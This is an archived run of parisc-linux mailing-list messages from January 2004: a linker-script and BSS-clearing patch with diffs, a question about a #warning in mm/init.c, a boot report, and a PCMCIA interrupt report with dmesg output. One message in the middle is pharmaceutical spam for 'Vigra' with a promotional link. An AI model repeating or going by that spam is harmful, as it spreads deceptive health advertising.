	<1074278840.1884.23.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623133 4617 80.91.229.3 (22 Nov 2014 02:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Randolph Chung <tausq@debian.org>
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Jan 16 17:12:46 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70E9C4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 17:12:46 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0H0Cia08640; Fri, 16 Jan 2004 19:12:45 -0500
In-Reply-To: <1074278840.1884.23.camel@mulgrave>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Jan 2004 00:12:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20645

The attached should be a first cut at this.

I shifted around or vmlinux.lds.S with a view to minimising the diffs
between ours and the one in i386 (so we can spot changes more easily).

I also:

- Implemented cacheline_aligned sections (this may save a few bytes, and
it mirrors i386)
- Corrected a misnaming of the init_task section
- updated our bss clearing algorithm
- removed the duplicate ".initcall.init" section from the head.S files
(it was confusing the linker script and we end up with it being called
.initcall.init.1)
- done the correct thing with regard to discard and init/exit sections
(although we still don't do runtime discards).
- added a few other sections that i386 has (but we don't) just in case
they'll be useful one day (also helps reduce the diff between us and
i386)

James

===== arch/parisc/kernel/head.S 1.4 vs edited =====
--- 1.4/arch/parisc/kernel/head.S	Wed Dec 17 23:48:38 2003
+++ edited/arch/parisc/kernel/head.S	Fri Jan 16 16:19:18 2004
@@ -22,17 +22,6 @@
 
 	.level 1.1
 
-	.section	.initcall.init
-	.align		4
-	.export __initcall_start
-__initcall_start:
-	.export __initcall_end
-__initcall_end:
-	.export __setup_start
-__setup_start:
-	.export __setup_end
-__setup_end:
-
 	.data
 
 	.export boot_args
@@ -64,13 +53,13 @@
 
 	/* Clear BSS (shouldn't the boot loader do this?) */
 
-	.import _edata,data
-	.import _end,data
+	.import __bss_start,data
+	.import __bss_stop,data
 
-	ldil            L%PA(_edata),%r3
-	ldo             R%PA(_edata)(%r3),%r3
-	ldil            L%PA(_end),%r4
-	ldo             R%PA(_end)(%r4),%r4
+	ldil            L%PA(__bss_start),%r3
+	ldo             R%PA(__bss_start)(%r3),%r3
+	ldil            L%PA(__bss_stop),%r4
+	ldo             R%PA(__bss_stop)(%r4),%r4
 $bss_loop:
 	cmpb,<<,n       %r3,%r4,$bss_loop
 	stw,ma          %r0,4(%r3)
===== arch/parisc/kernel/head64.S 1.3 vs edited =====
--- 1.3/arch/parisc/kernel/head64.S	Wed Dec 17 23:48:38 2003
+++ edited/arch/parisc/kernel/head64.S	Fri Jan 16 16:17:15 2004
@@ -26,17 +26,6 @@
 
 	.level 2.0w
 
-	.section	.initcall.init
-	.align		4
-	.export __initcall_start
-__initcall_start:
-	.export __initcall_end
-__initcall_end:
-	.export __setup_start
-__setup_start:
-	.export __setup_end
-__setup_end:
-
 	.data
 
 	.export boot_args
@@ -64,13 +53,13 @@
 
 	/* Clear BSS (shouldn't the boot loader do this?) */
 
-	.import _edata,data
-	.import _end,data
+	.import __bss_start,data
+	.import __bss_stop,data
 
-	ldil            L%PA(_edata),%r3
-	ldo             R%PA(_edata)(%r3),%r3
-	ldil            L%PA(_end),%r4
-	ldo             R%PA(_end)(%r4),%r4
+	ldil            L%PA(__bss_start),%r3
+	ldo             R%PA(__bss_start)(%r3),%r3
+	ldil            L%PA(__bss_stop),%r4
+	ldo             R%PA(__bss_stop)(%r4),%r4
 $bss_loop:
 	cmpb,<<,n       %r3,%r4,$bss_loop
 	stb,ma          %r0,1(%r3)
===== arch/parisc/kernel/vmlinux.lds.S 1.15 vs edited =====
--- 1.15/arch/parisc/kernel/vmlinux.lds.S	Mon Sep  8 17:00:21 2003
+++ edited/arch/parisc/kernel/vmlinux.lds.S	Fri Jan 16 16:34:28 2004
@@ -1,5 +1,7 @@
 #include <linux/config.h>
 #include <asm-generic/vmlinux.lds.h>
+/* needed for the processor specific cache alignment size */	
+#include <asm/cache.h>
 	
 /* ld script to make hppa Linux kernel */
 #ifndef CONFIG_PARISC64
@@ -22,7 +24,7 @@
   . = 0x10100000;
 
   _text = .;			/* Text and read-only data */
-  .text BLOCK(16) : {
+  .text ALIGN(16) : {
 	*(.text*)
 	*(.PARISC.unwind)
 	*(.fixup)
@@ -39,11 +41,34 @@
 
   RODATA
 
-  .data BLOCK(8192) : {			/* Data without special */
+  /* writeable */
+  .data : {			/* Data */
 	data_start = .;
 	*(.data)
+	CONSTRUCTORS
 	}
 
+  . = ALIGN(4096);
+  /* nosave data is really only used for software suspend...it's here
+   * just in case we ever implement it */
+  __nosave_begin = .;
+  .data_nosave : { *(.data.nosave) }
+  . = ALIGN(4096);
+  __nosave_end = .;
+
+  . = ALIGN(L1_CACHE_BYTES);
+  .data.cacheline_aligned : { *(.data.cacheline_aligned) }
+
+  _edata = .;			/* End of data section */
+
+  . = ALIGN(16384); 		/* init_task */
+  .data.init_task : { *(.data.init_task) }
+
+  /* The interrupt stack is currently partially coded, but not yet
+   * implemented */
+  . = ALIGN(16384);	
+  init_istack : { *(init_istack) }
+
 #ifdef CONFIG_PARISC64
   . = ALIGN(16);               /* Linkage tables */
   .opd : { *(.opd) } PROVIDE (__gp = .); 
@@ -63,7 +88,7 @@
   __setup_start = .;
   .init.setup : { *(.init.setup) }
   __setup_end = .;
-  __start___param =.; 
+  __start___param = .;
   __param : { *(__param) }
   __stop___param = .;
   __initcall_start = .;
@@ -81,6 +106,19 @@
   .con_initcall.init : { *(.con_initcall.init) }
   __con_initcall_end = .;
   SECURITY_INIT
+  /* alternate instruction replacement.  This is a mechanism x86 uses
+   * to detect the CPU type and replace generic instruction sequences
+   * with CPU specific ones.  We don't currently do this in PA, but
+   * it seems like a good idea... */
+  . = ALIGN(4);
+  __alt_instructions = .;
+  .altinstructions : { *(.altinstructions) } 
+  __alt_instructions_end = .; 
+ .altinstr_replacement : { *(.altinstr_replacement) } 
+  /* .exit.text is discard at runtime, not link time, to deal with references
+     from .altinstructions and .eh_frame */
+  .exit.text : { *(.exit.text) }
+  .exit.data : { *(.exit.data) }
   . = ALIGN(4096);
   __initramfs_start = .;
   .init.ramfs : { *(.init.ramfs) }
@@ -91,17 +129,27 @@
   __per_cpu_end = .;
   . = ALIGN(4096);
   __init_end = .;
-
-  init_task BLOCK(16384) : { *(init_task) }  /* The initial task and kernel stack */
-
-  _edata = .;			/* End of data section */
-
-
-  .bss : { *(.bss) *(COMMON) }		/* BSS */
-
+  /* freed after init ends here */
+	
+  __bss_start = .;		/* BSS */
+  .bss : { *(.bss) *(COMMON) }
+  __bss_stop = .; 
 
   _end = . ;
 
+  /* Sections to be discarded */
+  /DISCARD/ : {
+	*(.exitcall.exit)
+#ifdef CONFIG_PARISC64
+	/* temporary hack until binutils is fixed to not emit these
+	 for static binaries */
+	*(.dynsym)
+	*(.dynstr)
+	*(.dynamic)
+	*(.hash)
+#endif
+	}
+
   /* Stabs debugging sections.  */
   .stab 0 : { *(.stab) }
   .stabstr 0 : { *(.stabstr) }
@@ -112,14 +160,4 @@
   .comment 0 : { *(.comment) }
   .note 0 : { *(.note) }	
 
-#ifdef CONFIG_PARISC64
-  /* temporary hack until binutils is fixed to not emit these
-     for static binaries */
-  /DISCARD/ : {
-    *(.dynsym)
-    *(.dynstr)
-    *(.dynamic)
-    *(.hash)
-  }
-#endif
 }
===== include/asm-parisc/cache.h 1.4 vs edited =====
--- 1.4/include/asm-parisc/cache.h	Sun Jan  5 05:22:53 2003
+++ edited/include/asm-parisc/cache.h	Fri Jan 16 13:13:23 2004
@@ -7,7 +7,6 @@
 
 #include <linux/config.h>
 
-#ifndef __ASSEMBLY__
 /*
  * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
  * 32-byte cachelines.  The default configuration is not for SMP anyway,
@@ -24,12 +23,12 @@
 #define L1_CACHE_SHIFT 5
 #endif
 
+#ifndef __ASSEMBLY__
+
 #define L1_CACHE_ALIGN(x)       (((x)+(L1_CACHE_BYTES-1))&~(L1_CACHE_BYTES-1))
 
 #define SMP_CACHE_BYTES L1_CACHE_BYTES
 #define L1_CACHE_SHIFT_MAX 5	/* largest L1 which this arch supports */

From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] explicitly allocate executable pages?
Date: Fri, 16 Jan 2004 22:58:50 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20040117055850.GA28550@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623133 4623 80.91.229.3 (22 Nov 2014 02:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Fri Jan 16 22:58:52 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CB4F4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 22:58:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6F51D29804D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 22:58:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28479-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 22:58:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C56D3298044; Fri, 16 Jan 2004 22:58:50 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Jan 2004 05:58:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20646

Could someone explain the following code in arch/parisc/mm/init.c?

The #warning doesn't make sense to me since it's inside !defined()
for the thing it's talking about.

thanks,
grant

...
#if !defined(CONFIG_STI_CONSOLE)
#warning STI console should explicitly allocate executable pages but does not
                                /*
                                 * Map the fault vector writable so we can
                                 * write the HPMC checksum.
                                 */
                                if (address >= ro_start && address < ro_end
                                                        && address != fv_addr
                                                        && address != gw_addr)
                                    pte = __mk_pte(address, PAGE_KERNEL_RO);
                                else
#endif
...



From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] explicitly allocate executable pages?
Date: Sat, 17 Jan 2004 06:01:04 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401170559560.21809@sal.ucc.ie>
References: <20040117055850.GA28550@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623134 4625 80.91.229.3 (22 Nov 2014 02:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: xam@cs.ucc.ie  Fri Jan 16 23:01:08 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56EFC4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 23:01:08 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i0H617Nx026967;
	Sat, 17 Jan 2004 06:01:07 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040117055850.GA28550@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Jan 2004 06:01:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20647

On Fri, 16 Jan 2004, Grant Grundler wrote:

> Could someone explain the following code in arch/parisc/mm/init.c?
>
> The #warning doesn't make sense to me since it's inside !defined()
> for the thing it's talking about.

Yes, it doesn't make sense to me either.
Running serial console only (without STIcon or STIfb) give me that
error message aswell, which is slightly confusing ;-)

Max


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: Sat, 17 Jan 2004 01:17:20 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20040117081720.GA29918@colo.lackof.org>
References: <4004805D000027C1@ocpmta3.freegates.net>
	<1074274218.2443.12.camel@mulgrave>
	<20040116201455.GN533@tausq.org>
	<1074278840.1884.23.camel@mulgrave>
	<1074298363.2443.47.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623134 4634 80.91.229.3 (22 Nov 2014 02:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:34 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Randolph Chung <tausq@debian.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: grundler@lackof.org  Sat Jan 17 01:17:22 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D6C74843
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Jan 2004 01:17:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6C83229804D; Sat, 17 Jan 2004 01:17:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29899-03; Sat, 17 Jan 2004 01:17:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D0931298044; Sat, 17 Jan 2004 01:17:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1074298363.2443.47.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 17 Jan 2004 08:17:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20648

On Fri, Jan 16, 2004 at 07:12:41PM -0500, James Bottomley wrote:
> The attached should be a first cut at this.
> 
> I shifted around or vmlinux.lds.S with a view to minimising the diffs
> between ours and the one in i386 (so we can spot changes more easily).

This boots and works on the A500 (ios).

2.6.1 kernel with this patch and "bridge_ctl" PCI patch from
Russell King are uploaded to ftp.p-l.o:kernels/a500/2.6.1-pa4.tgz
(No, it's not a -pa4 kernel but that's what it happens to use)

thanks!
grant


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Parfait" <infocodewords@golfgod.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Info regarding vigra
Date: Mon, 19 Jan 2004 01:18:15 -0300
Lines: 18
Approved: news@gmane.org
Message-ID: <tkbhd.9326993332vzaozs@Parfaitmpvwd>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=windows-1251
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623134 4639 80.91.229.3 (22 Nov 2014 02:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: infocodewords@golfgod.net  Sun Jan 18 09:53:12 2004
Return-Path: <infocodewords@golfgod.net>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux (218-163-55-191.HINET-IP.hinet.net
	[218.163.55.191])
	by dsl2.external.hp.com (Postfix) with SMTP id 0A55848A0
	for <parisc-linux@parisc-linux.org>;
	Sun, 18 Jan 2004 09:53:11 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Jan 2004 16:53:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20649

how Vigra works. So you can better understand, what Vigra can do for you. If you are sensible about your health, reflect on what you can do for your seual health, to keep the chances that you will need Vigra as low as possible. hereto crazes axiomatic, attractor. 

 Inrease Seks Drive
 Bost Seual Performance
 Fuller & Harder Erecions
 Inrease Stamna & Endurance
 Quicker Rechages 
 
 http://www.raiseyourpower.com/index.php?pid=pharmaboss

headaches cored squeaky, gracefully. Eichmann alertness bulks, McFadden.

Thanks,
herded





From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Sun, 18 Jan 2004 20:59:34 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <200401182059.34270.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623134 4646 80.91.229.3 (22 Nov 2014 02:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:34 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: deller@gmx.de  Sun Jan 18 16:20:07 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 317394856
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Jan 2004 16:20:07 -0700 (MST)
Original-Received: (qmail 8390 invoked by uid 65534); 18 Jan 2004 23:19:55 -0000
Original-Received: from pD9040705.dip.t-dialin.net (EHLO p100) (217.4.7.5)
	by mail.gmx.net (mp011) with SMTP; 19 Jan 2004 00:19:55 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Jan 2004 23:20:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20650

rdi:~# uname -a
Linux rdi 2.6.1-pa7 #252 Sun Jan 18 20:09:08 CET 2004 parisc GNU/Linux

rdi:~# lsmod
Module                  Size  Used by
serial_cs               8392  1

dmesg: (This is my RDI Precisionbook B160L laptop)
Found devices:
1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
2. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
3. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a },  additional addresses: 0xf0800000
4. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000
6. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 0x00074 },  additional addresses: 0xffd01000 0xffd03000
7. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
8. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
9. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
10. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 0x0008a }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 0x00084 }
13. Merlin 160 Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x03d, 0x00083 }
14. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 },  additional addresses: 0xf0011000
15. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 0x00004 }
16. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Lasi version 0 at 0xffd00000 found.
Dino parisc8:0 version 3.1 found at 0xfff80000
PCI: Bus 1, cardbus bridge: 0000:00:02.0
PCI: Bus 5, cardbus bridge: 0000:00:02.1


..now inserting my TDK ISDN/serial modem PCMCIA card....

kernel messages:
Dino fff80000: stuck interrupt 4
cs IO ports 0x0-0x7 allocated in parent Dino I/O Port

rdi:~# cat /proc/interrupts
           CPU00
 32:     252074      PARISC-CPU  timer
 33:      28596      PARISC-CPU  lasi
 34:         39      PARISC-CPU  Dino parisc8:0
 82:          0            Lasi  harmony
 86:       8089            Lasi  parisc8:16:5
 87:      20507            Lasi  i82596
 88:          0            Lasi  parport0
 98:        100  Dino parisc8:0  yenta
 99:          0  Dino parisc8:0  yenta

rdi:~# cardctl info
PRODID_1=""
PRODID_2=""
PRODID_3=""
PRODID_4=""
MANFID=0000,0000
FUNCID=255
PRODID_1="TDK"
PRODID_2="Global Pro ISDN V.90"
PRODID_3="C7500010"
PRODID_4=""
MANFID=0105,410a
FUNCID=2

Any ideas why I get the above "Dino fff80000: stuck interrupt 4" message ?
It seems further interrupts are not delivered to serial_cs....

Thanks,
Helge


From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: 18 Jan 2004 18:44:55 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1074469497.1805.25.camel@mulgrave>
References: <200401182059.34270.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623135 4649 80.91.229.3 (22 Nov 2014 02:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:35 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Sun Jan 18 16:45:03 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 277D4492F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Jan 2004 16:45:03 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0INj0a30876; Sun, 18 Jan 2004 18:45:00 -0500
In-Reply-To: <200401182059.34270.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
